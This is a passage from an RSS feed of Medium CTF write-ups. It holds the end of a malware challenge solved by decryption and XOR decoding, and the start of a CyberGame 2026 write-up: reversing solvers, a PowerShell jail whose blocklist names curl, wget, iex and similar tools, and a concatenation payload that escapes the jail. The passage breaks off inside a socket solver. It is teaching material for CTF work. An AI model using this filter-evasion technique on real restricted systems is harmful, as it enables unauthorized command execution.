C2Client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d3vbAUApLYf25PWodUCixA.png" /><figcaption>logic</figcaption></figure><p>double click it and u get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zCadDs30W7GEWt-1cACftw.png" /><figcaption>stage7</figcaption></figure><p>now take this:</p><pre>private static readonly string _secondaryPayloadCipher = &quot;F9+L8mO3lYl1OUWRvzSkB2bH/QBzFPt3FtKVSpZWtgGih7o9EDJQxdjT1ufTc7yD&quot;;</pre><p>same AES we used for 1–3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zrwEV6bE8uL3r3dpTDIyKA.png" /><figcaption>solve</figcaption></figure><p>now open the url:</p><pre>https://files.catbox.moe/5zfsmn.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ryMveORqJxTWeXCIFVyOmw.png" /><figcaption>secret</figcaption></figure><p>now open the drive and downlaod our exe called Nest.exe then open it in binary ninja:</p><p>literally the first thing u see that pops up in ur face when u open it is this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-gWfVb1Ujr8ebfHMDvYzIg.png" /><figcaption>data</figcaption></figure><p>this is the xor data and key in front of you and u can grab the key via strings as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DdF9TRTXSQvTxU9Vl5ixtA.png" /><figcaption>output</figcaption></figure><p>xor data:</p><pre>data = [26, 91, 1, 13, 41, 46, 72, 78, 38, 0, 44, 48, 111, 60, 93, 31, 122, 2, 66, 43, 111, 45, 108, 78, 38, 65, 10, 2, 108, 20, 4, 74, 45, 91, 14, ]<br>key = b&quot;N3st_K3y&quot;<br><br>decoded = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))<br>print(decoded.decode(errors=&quot;ignore&quot;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3bgVDxCOtpumZ47Mp5VBQ.png" /><figcaption>output</figcaption></figure><pre><br>Thryve{7h3_D0wnf411_0f_7hryv3_73ch}</pre><p>there you go!!</p><p>Hope u enjoyed the challenges!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d6f05767f4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberGame 2026 writeups, SK-CERT]]></title>
            <link>https://medium.com/@3mksaad1600/cybergame-2026-writeups-sk-cert-a27185bc721d?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a27185bc721d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybergame]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 13:40:18 GMT</pubDate>
            <atom:updated>2026-08-24T15:47:51.394Z</atom:updated>
            <content:encoded><![CDATA[<h3>Author : 3mksaad1600(NotSaad💛)</h3><blockquote><strong><em>PS: this is a very long, detailed and informative writeup, Please pay attention to all details mentioned to learn something new and if there is any feedback please contact me, enjoy!</em></strong></blockquote><h4>Recently i had participated in CyberGame 2026, which was a CTF held for 2 months almost, with weekly challs dropping every friday, it has 3 versions, Kenya, SK, and World.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*WozE0mhRWGrCIc2uUfZQ5A.png" /><figcaption>CTF Duration</figcaption></figure><h4>This Has Been one of the most fun CTF’S that i have played in so far, the challenges are insanely fun and very thoughtful, Now while i solved every chall and scored 5th (tied with 1st), Making me the only Under 18 player in the top 10 and 5 brackets, and one of 2 arabs only in the top 10 bracket.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjFRnJk7HxlBAUvoS7fX0Q.png" /><figcaption>Final place</figcaption></figure><h4>I also ended up getting Top 5 Malware analyst expert award, tied again with 1st</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*17gS0R4Udkn0C1E09_BAFw.png" /><figcaption>Mlaware award</figcaption></figure><h4>i didnt make a writeup for every chall for 2 reasons, 1: i lowkey forgot and didnt think id need them, 2: im a Malware and Rev guy why would i save writeups for Forensics :3, Anyways heres the list of challs i have made writeups for that are included in this writeup, these are challs i made writeups for, and are the hardest challs in the CTF itself(forget the reversing ones XD).</h4><blockquote>1: Reversing — Picking Letters.<br>2: Reversing — Matrix Sudoku<br>3: JailPS — safeps and JailPS — safeps2<br>4 : Offensive Security(web) — Ormt2<br>5 : RSA — Hellish RSA<br>6: RSA — French technology <br>7: RSA — Prime Classes<br>8: RSA — Exponent works<br>9: OSINT — Travellers — Public Transit<br>10: OSINT — Travellers — Shopping Centre<br>11: OSINT — Travellers — A beautiful view<br>12: OSINT — Travellers — A little too urban<br>13: Offensive Security(web) — SnailNet<br>14 : Offensive Security(web) — Yipiter<br>15: Bins — Tower of Hanoi Revenge<br>16: Offensive Security(web) — GoogleProxy<br>17: Return of eliptic — Goldilocks<br>18: Return of eliptic — Extended Illusion<br>19: Return of eliptic — Twisting the truth<br>20: Malware Analysis — To True or Not To True<br>21: Malware Analysis — Lesser less<br>22: Malware Analysis — Shifted Payload<br>23: Malware Analysis — Lock Screen<br>24: Malware Analysis — Real World — A real world ransomware case<br>25: Malware Analysis — The Intergalactic series:<br>- Intergalactic — Keypad<br>- Intergalactic — Warden<br>- Intergalactic — Beacon v0<br>26: OSINT — Target</blockquote><p>Now lets get into it, this is a long and detailed writeup so Get ready!!</p><h3># Warning: Please do not run commands and scripts from here mindlessly without knowing what you are copy pasting especially from Malware challanges all commands here and scirpts are safe but in general always be sure of what u run on your device and please run these challenges on an isolated VM or safe machine never on your main device especially Malware challanges.</h3><h3>1: Reversing — Picking Letters.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*bY93ly-6hHS5m36LFrOC3Q.png" /><figcaption>chall desc</figcaption></figure><p>The presented binary “lorem” is a ELF 64-bit LSB pie executable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RMDnL_-oi-ObONJ3EjfPA.png" /><figcaption>file type</figcaption></figure><p>It isnt stripped meaning its symbols are present making it easier to debug, so i decided to disassemble it then slap it into a debugger, Static analysis of the <strong><em>main </em></strong>function reveals that the binary constructs the flag character by character by “picking” bytes from a large buffer of “Lorem Ipsum” text stored in the <strong><em>.rodata </em></strong>section.</p><p>The code uses:</p><pre>movzx eax, BYTE PTR [rax + offset]</pre><p>where <strong><em>rax </em></strong>points to the start of the data, and then stores the byte into a local buffer using:</p><pre>mov BYTE PTR [rbp - dest_offset], al</pre><p>So u have 2 ways to solve this:<br>1: By using a script u can parse the disassembly and tracke these picking operations, we can then reconstruct the full flag from the data block.<br>2: Dynamic debugger(easier)</p><h3>script:</h3><pre>import re<br><br>def get_flag():<br>    # Read the file to get rodata<br>    with open(&quot;lorem&quot;, &quot;rb&quot;) as f:<br>        data = f.read()<br><br>    # Get disassembly of main<br>    import subprocess<br>    res = subprocess.run([&quot;objdump&quot;, &quot;-d&quot;, &quot;lorem&quot;, &quot;-M&quot;, &quot;intel&quot;], capture_output=True, text=True)<br>    disasm = res.stdout<br>    <br>    main_match = re.search(r&quot;&lt;main&gt;:(.*?)\n\n&quot;, disasm, re.DOTALL)<br>    if not main_match:<br>        return &quot;Main not found&quot;<br>    <br>    main_code = main_match.group(1)<br>    <br>    # Initial rax value<br>    # lea rax, [rip+offset] # address<br>    # mov [rbp-0x48], rax<br>    rax_val = 0<br>    buffer = [0] * 64<br>    <br>    lines = main_code.splitlines()<br>    for line in lines:<br>        # Match lea rax, [rip+...]<br>        m = re.search(r&quot;lea\s+rax,\[rip\+(0x[0-9a-f]+)\]\s+#\s+([0-9a-f]+)&quot;, line)<br>        if m:<br>            rax_val = int(m.group(2), 16)<br>            continue<br>        <br>        # Match mov QWORD PTR [rbp-0x48],rax<br>        # (This just confirms rax_val is stored in the pointer)<br>        <br>        # Match movzx eax, BYTE PTR [rax+...]<br>        m = re.search(r&quot;movzx\s+eax,BYTE PTR \[rax\+(0x[0-9a-f]+)\]&quot;, line)<br>        if m:<br>            offset = int(m.group(1), 16)<br>            # Fetch byte from data<br>            # Note: addresses in objdump are virtual. <br>            # In a PIE binary they match file offsets if not stripped?<br>            # Actually, readelf showed .rodata at 2000.<br>            # So rax_val should be directly usable as file offset.<br>            val = data[rax_val + offset]<br>            last_val = val<br>            continue<br>        <br>        # Match movzx eax, BYTE PTR [rax] (offset 0)<br>        m = re.search(r&quot;movzx\s+eax,BYTE PTR \[rax\]&quot;, line)<br>        if m:<br>            val = data[rax_val]<br>            last_val = val<br>            continue<br><br>        # Match mov BYTE PTR [rbp-0x..], al<br>        m = re.search(r&quot;mov\s+BYTE PTR \[rbp-(0x[0-9a-f]+)\],al&quot;, line)<br>        if m:<br>            dest_offset = int(m.group(1), 16)<br>            buffer[0x40 - dest_offset] = last_val<br>            continue<br>            <br>        # Match direct byte store<br>        m = re.search(r&quot;mov\s+BYTE PTR \[rbp-(0x[0-9a-f]+)\],(0x[0-9a-f]+)&quot;, line)<br>        if m:<br>            dest_offset = int(m.group(1), 16)<br>            val = int(m.group(2), 16)<br>            buffer[0x40 - dest_offset] = val<br>            continue<br><br>    # Reconstruct string<br>    res_str = &quot;&quot;<br>    for b in buffer:<br>        if b == 0: break<br>        res_str += chr(b)<br>    return res_str<br><br>print(get_flag())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8biAqmOxDDOw-jJJOPaLQ.png" /><figcaption>Output</figcaption></figure><h3>2: debugger steps:</h3><p>1: disassemble main and locate the printf@plt Call.<br>2: break at *main+650<br>3: run<br>4: check register, x/s $rsi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NG3Lsy0hOqYrb7ScmTAUOg.png" /><figcaption>output</figcaption></figure><pre>SK-CERT{34sy_70_d3bug_wh3n_y0u_h4v3_wh0l3_c0d3}</pre><h3>2: Reversing — Matrix Sudoku:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*1xu7Ck1MJYgyuzAH-vGNuA.png" /><figcaption>Chall desc</figcaption></figure><p>The challenge provides a Python script get_flag.py:</p><pre>import hashlib<br>import binascii<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import unpad<br><br>def get_flag(key_hex):<br>    ciphertext_hex = &quot;7b324bfbfe9cf9ccdce792276ae92032e9acb2b3342be9e954eb6b8f37d0babf9ea0dfd6c7462b2f3bfd591654940309&quot;<br>    key = binascii.unhexlify(key_hex)<br>    raw_data = binascii.unhexlify(ciphertext_hex)<br>    iv = raw_data[:16]<br>    encrypted_payload = raw_data[16:]<br>    cipher = AES.new(key, AES.MODE_CBC, iv)<br>    decrypted = unpad(cipher.decrypt(encrypted_payload), AES.block_size)<br>    return decrypted.decode(&#39;utf-8&#39;)<br><br>def gen_key(matrix):<br>    matrix_str = str(matrix).encode(&#39;utf-8&#39;)<br>    return hashlib.sha256(matrix_str).hexdigest()<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;--- 5x5 Grid Challenge ---&quot;)<br>    print(&quot;Enter all 25 values separated by commas (e.g., 1,2,3...25):&quot;)<br>    print(&quot;There may be multiple solutions, only one will produce correct key. Values in each cell are 1-25&quot;)<br>    <br>    user_input = input(&quot;&gt; &quot;).strip()<br>    <br>    try:<br>        flat_list = [int(x.strip()) for x in user_input.split(&#39;,&#39;)]<br>        <br>        if len(flat_list) != 25:<br>            print(f&quot;Error: Expected 25 values, got {len(flat_list)}.&quot;)<br>            exit()<br>            <br>        grid = [flat_list[i:i+5] for i in range(0, 25, 5)]<br><br>    except ValueError:<br>        print(&quot;Error: Please ensure all inputs are integers separated by commas.&quot;)<br>        exit()<br><br>    constraints = [<br>        ([(0,0), (0,1), (0,2), (0,3), (0,4)], 15),<br>        ([(1,0), (1,1), (1,2), (1,3), (1,4)], 40),<br>        ([(2,0), (2,1), (2,2), (2,3), (2,4)], 65),<br>        ([(3,0), (3,1), (3,2), (3,3), (3,4)], 90),<br>        ([(4,0), (4,1), (4,2), (4,3), (4,4)], 115),<br>        ([(0,0), (1,1), (2,2), (3,3), (4,4)], 65),<br>        ([(0,0), (4,0)], 22)<br>    ]<br><br>    passed_count = sum(1 for cells, target in constraints if sum(grid[r][c] for r, c in cells) == target)<br><br>    if passed_count == len(constraints):<br>        key = gen_key(grid)<br>        print(key)<br>        print(f&quot;[+] Constraints passed!&quot;)<br>        print(f&quot;[+] Flag: {get_flag(key)}&quot;)<br>    else:<br>        print(&quot;\n[X] Constraints failed. Grid does not match the required logic.&quot;)</pre><p>that checks if a 5x5 grid of integers (1–25) satisfies several constraints:</p><p>- Each row sums to a specific value (15, 40, 65, 90, 115).<br>- The major diagonal sums to 65.<br>- The cells (0,0) and (4,0) sum to 22.</p><p>By analyzing the constraints:</p><blockquote>1. Row 0 sum is 15. The smallest 5 numbers 1–5 sum to exactly 15. So Row 0 must be a permutation of {1, 2, 3, 4, 5}.</blockquote><blockquote>2. Row 4 sum is 115. The largest 5 numbers 21–25 sum to exactly 115. So Row 4 must be a permutation of {21, 22, 23, 24, 25}.</blockquote><blockquote>3. The sum of (0,0) and (4,0) is 22. Since (0,0) is in Row 0 (1–5) and (4,0) is in Row 4 (21–25), the only pair that works is (1, 21). So (0,0)=1 and (4,0)=21.</blockquote><blockquote>4. Continuing this logic for all rows and the diagonal, the identity grid (1 to 25 in order) satisfies all constraints:</blockquote><p>- Row 0: 1+2+3+4+5 = 15</p><p>- Row 1: 6+7+8+9+10 = 40</p><p>- Row 2: 11+12+13+14+15 = 65</p><p>- Row 3: 16+17+18+19+20 = 90</p><p>- Row 4: 21+22+23+24+25 = 115</p><p>- Diagonal: 1+7+13+19+25 = 65</p><p>- (0,0)+(4,0): 1 + 21 = 22</p><p>so we make a simple solver:</p><h4>Solve.py:</h4><pre>import hashlib<br>import binascii<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import unpad<br><br>def get_flag(key_hex):<br>    ciphertext_hex = &quot;7b324bfbfe9cf9ccdce792276ae92032e9acb2b3342be9e954eb6b8f37d0babf9ea0dfd6c7462b2f3bfd591654940309&quot;<br>    key = binascii.unhexlify(key_hex)<br>    raw_data = binascii.unhexlify(ciphertext_hex)<br>    iv = raw_data[:16]<br>    encrypted_payload = raw_data[16:]<br>    cipher = AES.new(key, AES.MODE_CBC, iv)<br>    decrypted = unpad(cipher.decrypt(encrypted_payload), AES.block_size)<br>    return decrypted.decode(&#39;utf-8&#39;)<br><br>def gen_key(matrix):<br>    matrix_str = str(matrix).encode(&#39;utf-8&#39;)<br>    return hashlib.sha256(matrix_str).hexdigest()<br><br>grid = [<br>    [1, 2, 3, 4, 5],<br>    [6, 7, 8, 9, 10],<br>    [11, 12, 13, 14, 15],<br>    [16, 17, 18, 19, 20],<br>    [21, 22, 23, 24, 25]<br>]<br><br>key = gen_key(grid)<br>print(f&quot;Key: {key}&quot;)<br>print(f&quot;Flag: {get_flag(key)}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtJ6Fy89rTymcnrfzmntJA.png" /><figcaption>Output</figcaption></figure><pre>SK-CERT{simpl3_m47rix_sud0ku}</pre><h3>3: JailPS — safeps and JailPS — safeps2:</h3><h4>1: JailPS — safeps:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*WYq3vkKs4nOWaPrhrCiJDg.png" /><figcaption>Chall desc</figcaption></figure><h4>Challenge Overview:</h4><p>- <strong>**Category:**</strong> Misc / Jail</p><p>- <strong>**Instance:**</strong> exp.cybergame.sk 7004</p><p>- <strong>**Flag Format:**</strong> SK-CERT{…}</p><p>The challenge provides a PowerShell environment (`SAFEPS`) over a TCP socket. The script script.ps1:</p><pre>$ErrorActionPreference = &quot;SilentlyContinue&quot;<br>Set-StrictMode -Off<br><br>$FLAG = &quot;SK-CERT{fake_flag}&quot;<br><br>Write-Host &quot;Welcome to SAFEPS, hardened environment.&quot; -ForegroundColor Cyan<br><br>$Allowed = @(&quot;help&quot;,&quot;about&quot;,&quot;echo&quot;,&quot;time&quot;)<br><br>function Show-Help {<br>  Write-Host &quot;Available commands:&quot; -ForegroundColor Green<br>  $Allowed | ForEach-Object { Write-Host &quot;  $_&quot; }<br>}<br><br>function Show-About {<br>  Write-Host &quot;SAFEPS&quot; -ForegroundColor Green<br>}<br><br>function Run-JailCommand {<br>  param([string]$InputLine)<br><br>  if ([string]::IsNullOrWhiteSpace($InputLine)) { return }<br><br>  if ($InputLine.Length -gt 60) {<br>    Write-Host &quot;Too long.&quot; -ForegroundColor Red<br>    return<br>  }<br><br>  $Bad = @(<br>    &quot;import-module&quot;, &quot;cp&quot;, &quot;get-location&quot;, &quot;new-itemproperty&quot;, &quot;set-alias&quot;, &quot;get-itempropertyvalue&quot;, &quot;invoke-restmethod&quot;,<br>    &quot;remove-job&quot;, &quot;clear-variable&quot;, &quot;get-help&quot;, &quot;receive-job&quot;, &quot;set-location&quot;, &quot;select-string&quot;, &quot;out-file&quot;,<br>    &quot;get-command&quot;, &quot;push-location&quot;, &quot;add-content&quot;, &quot;rename-item&quot;, &quot;start-job&quot;, &quot;gmo&quot;, &quot;get-variable&quot;,<br>    &quot;move-item&quot;, &quot;get-itemproperty&quot;, &quot;rm&quot;, &quot;remove-variable&quot;, &quot;invoke-expression&quot;, &quot;get-content&quot;, &quot;get-psdrive&quot;,<br>    &quot;new-item&quot;, &quot;set-item&quot;, &quot;set-content&quot;, &quot;get-childitem&quot;, &quot;start-process&quot;, &quot;get-item&quot;, &quot;set-variable&quot;,<br>    &quot;set-itemproperty&quot;, &quot;invoke-command&quot;, &quot;get-module&quot;, &quot;get-alias&quot;, &quot;clear-history&quot;, &quot;wait-job&quot;, &quot;pwd&quot;,<br>    &quot;http&quot;, &quot;https&quot;, &quot;file&quot;, &quot;ftp&quot;, &quot;ftps&quot;, &quot;data&quot;, <br>    &quot;sl&quot;, &quot;rv&quot;, &quot;sv&quot;, &quot;ni&quot;, &quot;si&quot;, &quot;sp&quot;, &quot;gp&quot;,<br>    &quot;gci&quot;, &quot;dir&quot;, &quot;ls&quot;, &quot;gc&quot;, &quot;sc&quot;, &quot;gv&quot;, &quot;ac&quot;,<br>    &quot;del&quot;, &quot;erase&quot;, &quot;rni&quot;, &quot;cd&quot;, &quot;pushd&quot;, &quot;pop-location&quot;, &quot;popd&quot;,<br>    &quot;sls&quot;, &quot;iwr&quot;, &quot;irm&quot;, &quot;iex&quot;, &quot;icm&quot;, &quot;gcm&quot;, &quot;gal&quot;,<br>    &quot;sal&quot;, &quot;ipmo&quot;, &quot;gl&quot;, &quot;gi&quot;, &quot;clhy&quot;, &quot;saps&quot;, &quot;sjob&quot;,<br>    &quot;rcjb&quot;, &quot;powershell&quot;, &quot;pwsh&quot;, &quot;flag&quot;, &quot;sk&quot;, &quot;cert&quot;, &quot;ctf&quot;,<br>    &quot;type&quot;, &quot;cat&quot;, &quot;reflection&quot;, &quot;system.Reflection&quot;, &quot;assembly&quot;, &quot;System.AppDomain&quot;, &quot;GetAssemblies&quot;,<br>    &quot;LoadWithPartialName&quot;, &quot;System.IO&quot;, &quot;System.IO.File&quot;, &quot;ReadAllText&quot;, &quot;GetType&quot;, &quot;System.Diagnostics.Process&quot;, &quot;Start&quot;,<br>    &quot;%&quot;, &quot;?&quot;, &quot;ac&quot;, &quot;asnp&quot;, &quot;cat&quot;, &quot;cd&quot;, &quot;CFS&quot;,<br>    &quot;chdir&quot;, &quot;clc&quot;, &quot;clear&quot;, &quot;clhy&quot;, &quot;cli&quot;, &quot;clp&quot;, &quot;cls&quot;,<br>    &quot;clv&quot;, &quot;cnsn&quot;, &quot;compare&quot;, &quot;copy&quot;, &quot;cp&quot;, &quot;cpi&quot;, &quot;cpp&quot;,<br>    &quot;curl&quot;, &quot;cvpa&quot;, &quot;dbp&quot;, &quot;del&quot;, &quot;diff&quot;, &quot;dir&quot;, &quot;dnsn&quot;,<br>    &quot;ebp&quot;, &quot;epal&quot;, &quot;epcsv&quot;, &quot;epsn&quot;, &quot;erase&quot;, &quot;etsn&quot;,<br>    &quot;exsn&quot;, &quot;fc&quot;, &quot;fhx&quot;, &quot;fl&quot;, &quot;foreach&quot;, &quot;ft&quot;, &quot;fw&quot;,<br>    &quot;gal&quot;, &quot;gbp&quot;, &quot;gc&quot;, &quot;gcb&quot;, &quot;gci&quot;, &quot;gcm&quot;, &quot;gcs&quot;,<br>    &quot;gdr&quot;, &quot;ghy&quot;, &quot;gi&quot;, &quot;gin&quot;, &quot;gjb&quot;, &quot;gl&quot;, &quot;gm&quot;,<br>    &quot;gmo&quot;, &quot;gp&quot;, &quot;gps&quot;, &quot;gpv&quot;, &quot;group&quot;, &quot;gsn&quot;, &quot;gsnp&quot;,<br>    &quot;gsv&quot;, &quot;gtz&quot;, &quot;gu&quot;, &quot;gv&quot;, &quot;gwmi&quot;, &quot;history&quot;,<br>    &quot;icm&quot;, &quot;iex&quot;, &quot;ihy&quot;, &quot;ii&quot;, &quot;ipal&quot;, &quot;ipcsv&quot;, &quot;ipmo&quot;,<br>    &quot;ipsn&quot;, &quot;irm&quot;, &quot;ise&quot;, &quot;iwmi&quot;, &quot;iwr&quot;, &quot;kill&quot;, &quot;lp&quot;,<br>    &quot;ls&quot;, &quot;man&quot;, &quot;md&quot;, &quot;measure&quot;, &quot;mi&quot;, &quot;mount&quot;, &quot;move&quot;,<br>    &quot;mp&quot;, &quot;mv&quot;, &quot;nal&quot;, &quot;ndr&quot;, &quot;ni&quot;, &quot;nmo&quot;, &quot;npssc&quot;,<br>    &quot;nsn&quot;, &quot;nv&quot;, &quot;ogv&quot;, &quot;oh&quot;, &quot;popd&quot;, &quot;ps&quot;, &quot;pushd&quot;,<br>    &quot;pwd&quot;, &quot;r&quot;, &quot;rbp&quot;, &quot;rcjb&quot;, &quot;rcsn&quot;, &quot;rd&quot;, &quot;ag&quot;, <br>    &quot;ren&quot;, &quot;ri&quot;, &quot;rjb&quot;, &quot;rm&quot;, &quot;rmdir&quot;, &quot;rmo&quot;, &quot;rni&quot;,<br>    &quot;rnp&quot;, &quot;rp&quot;, &quot;rsn&quot;, &quot;rsnp&quot;, &quot;rujb&quot;, &quot;rv&quot;, &quot;rvpa&quot;,<br>    &quot;rwmi&quot;, &quot;sajb&quot;, &quot;sal&quot;, &quot;saps&quot;, &quot;sasv&quot;, &quot;sbp&quot;, &quot;sc&quot;,<br>    &quot;scb&quot;, &quot;select&quot;, &quot;set&quot;, &quot;shcm&quot;, &quot;si&quot;, &quot;sl&quot;, &quot;sleep&quot;,<br>    &quot;sls&quot;, &quot;sort&quot;, &quot;sp&quot;, &quot;spjb&quot;, &quot;spps&quot;, &quot;spsv&quot;, &quot;start&quot;,<br>    &quot;stz&quot;, &quot;sujb&quot;, &quot;sv&quot;, &quot;swmi&quot;, &quot;tee&quot;, &quot;trcm&quot;, &quot;type&quot;,<br>    &quot;wget&quot;, &quot;where&quot;, &quot;wjb&quot;, &quot;write&quot;, &quot;rdr&quot;<br>  )<br><br><br>  $lower = $InputLine.ToLowerInvariant()<br>  foreach ($b in $Bad) {<br>    $b = $b.ToLowerInvariant()<br>    if ($lower -match [regex]::Escape($b)) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>    }<br>  }<br><br>  $parts = $InputLine.TrimStart() -split &#39;\s+&#39;, 2<br>  $first = $parts[0].ToLowerInvariant()<br>  if ($Allowed -notcontains $first) {<br>    Write-Host &quot;Unknown command.&quot; -ForegroundColor Red<br>    return<br>  }<br><br>  switch ($first) {<br>    &quot;help&quot;  { Show-Help; return }<br>    &quot;about&quot; { Show-About; return }<br>    &quot;time&quot;  { Get-Date; return }<br><br>    &quot;echo&quot;  {<br>      $exprTrimmed = if ($parts.Count -gt 1) { $parts[1].Trim() } else { &quot;&quot; }<br>      if ([string]::IsNullOrWhiteSpace($exprTrimmed)) { return }<br><br>      if (<br>        $exprTrimmed -match &#39;[_$=\-\.]&#39; -or<br>        $exprTrimmed -match &#39;[{}]&#39; -or<br>        $exprTrimmed -match &#39;[`]&#39; -or<br>        $exprTrimmed -match &#39;\$ExecutionContext&#39; -or<br>        $exprTrimmed -match &#39;\[&#39; -or<br>        $exprTrimmed -match &#39;\]&#39;<br>      ) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>      }<br><br>      if (<br>        ($exprTrimmed.Length -ge 2) -and<br>        (<br>          ($exprTrimmed.StartsWith(&quot;&#39;&quot;) -and $exprTrimmed.EndsWith(&quot;&#39;&quot;)) -or<br>          ($exprTrimmed.StartsWith(&#39;&quot;&#39;) -and $exprTrimmed.EndsWith(&#39;&quot;&#39;))<br>        )<br>      ) {<br>        Write-Host $exprTrimmed.Substring(1, $exprTrimmed.Length - 2)<br>        return<br>      }<br><br>      if ($exprTrimmed -match &#39;[^\u0000-\u007F]&#39;) {<br>        Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>        return<br>      }<br><br>      if ($exprTrimmed -match &#39;^[a-zA-Z0-9_]+$&#39;) {<br>        Write-Host $exprTrimmed<br>        return<br>      }<br><br>      $sb = [ScriptBlock]::Create($exprTrimmed)<br>      $result = &amp; $sb<br>      if ($null -ne $result) { $result }<br>      return<br>    }<br>  }<br>}<br><br>while (($line = [Console]::In.ReadLine()) -ne $null) {<br>    if ($line -eq &quot;exit&quot;) { break }<br><br>    try {<br>        Run-JailCommand -InputLine $line<br>    } catch {<br>        Write-Host (&quot;Error: &quot; + $_.Exception.Message)<br>    }<br>}</pre><p>implements a “hardened” jail with a strict blacklist of commands, aliases, and characters.</p><h4>1. Analysis of the Jail (script.ps1)</h4><p>The core of the jail is in Run-JailCommand. It implements several layers of security:</p><p>A. Extensive Keyword Blacklist</p><p>The script defines a <strong><em>$Bad</em></strong> array containing over 100 blacklisted commands and aliases (e.g., `Get-Content`, `Get-Variable`, `ls`, `cat`, etc.). It checks if the input matches any of these keywords using a regex:</p><pre>if ($lower -match [regex]::Escape($b)) {<br>    Write-Host &quot;Nope.&quot; -ForegroundColor Red<br>    return<br>}</pre><p>B. Command Whitelist:<br>The only allowed starting commands are `help`, `about`, `echo`, and `time`. Any other starting word causes an “Unknown command” error.</p><p>C. Character Restrictions in `echo`:</p><p>— If you use `echo`, the script performs additional checks on the arguments:</p><p>- Length must be under 60 characters.</p><p>— It scans for forbidden characters: `_`, `$`, `=`, `-`, `.`, `{`, `}`, `` ` ``, `[`, `]`.</p><p>— It regex-checks for `$ExecutionContext`.</p><p>— It checks if the input contains non-ASCII characters.</p><p>D. The Vulnerability: `ScriptBlock` Creation:<br>The most interesting part is how `echo` handles its input after the character checks:</p><pre>$sb = [ScriptBlock]::Create($exprTrimmed)<br>$result = &amp; $sb<br>if ($null -ne $result) { $result }<br>return</pre><p>If the input to `echo` is not a simple alphanumeric string or a quoted string, it creates a `ScriptBlock` from the input and executes it using the call operator `&amp;`. This is our vector for arbitrary PowerShell execution.</p><h3>2. Exploitation Strategy:</h3><p>To solve the challenge, we need to bypass the character filter and the keyword blacklist while using the `echo` command.</p><p>A. Bypassing Keywords:<br>The `$Bad` filter checks for the existence of keywords anywhere in the input line. We can bypass this by using PowerShell’s string concatenation. Instead of writing `Get-Variable`, we can write `(“Get” + “Variable”)`.</p><p>B. Bypassing Variable Restrictions:<br>The word `FLAG` is blacklisted. We can bypass this by concatenating it: `(“FL” + “AG”)`.</p><p>C. Bypassing the Command Whitelist:<br>Since `echo` executes its arguments as a `ScriptBlock`, we can use the call operator `&amp;` to run any command.</p><pre>echo (&amp; (&quot;Get&quot; + &quot;Variable&quot;) (&quot;FL&quot; + &quot;AG&quot;))</pre><p>D. Managing Character Restrictions:<br>The characters `$` and `.` are blacklisted in `echo` input. This means we cannot use `$FLAG` directly. However, the `Get-Variable` cmdlet returns the variable’s value, and we can call it by its name string.</p><p>There’s one more catch: the letter `r` is in the `$Bad` list (as part of `r`, `rm`, `rd`, etc.). If we try to use `Get-Variable`, it contains `r`. However, PowerShell has aliases. The alias for `Get-Variable` is `gv`. `gv` doesn’t contain `r`, but it’s still blacklisted. We can also concatenate the alias: `(“g” + “v”)`.</p><p>3. The Final Payload:<br>Putting it all together, we use `echo` to execute a script block that calls the `gv` (Get-Variable) command with the target variable name `FLAG`, both constructed via concatenation to bypass the blacklist.</p><pre>echo (&amp; (&quot;g&quot; + &quot;v&quot;) (&quot;F&quot; + &quot;L&quot; + &quot;A&quot; + &quot;G&quot;))</pre><p>Make a solver to send payload:</p><h4>solve.py:</h4><pre>import socket<br>import time<br><br>def solve():<br>    host = &quot;exp.cybergame.sk&quot;<br>    port = 7004<br><br>    # The payload:<br>    # 1. &#39;echo&#39; is allowed.<br>    # 2. If the input to echo contains non-alphanumeric characters (like parens), <br>    #    it creates a ScriptBlock and executes it.<br>    # 3. We use string concatenation (&quot;g&quot;+&quot;v&quot;) to bypass the blacklist check <br>    #    for &#39;gv&#39; (alias of Get-Variable) and &quot;FLAG&quot;.<br>    # 4. We avoid the character &#39;r&#39; because it&#39;s blacklisted individually.<br>    <br>    payload = &#39;echo (&amp; (&quot;g&quot; + &quot;v&quot;) (&quot;F&quot; + &quot;L&quot; + &quot;A&quot; + &quot;G&quot;))\n&#39;<br><br>    try:<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((host, port))<br>        <br>        # Read the welcome message<br>        time.sleep(1)<br>        print(s.recv(1024).decode())<br><br>        print(f&quot;Sending payload: {payload.strip()}&quot;)<br>        s.sendall(payload.encode())<br><br>        # Read the response<br>        time.sleep(2)<br>        response = s.recv(4096).decode()<br>        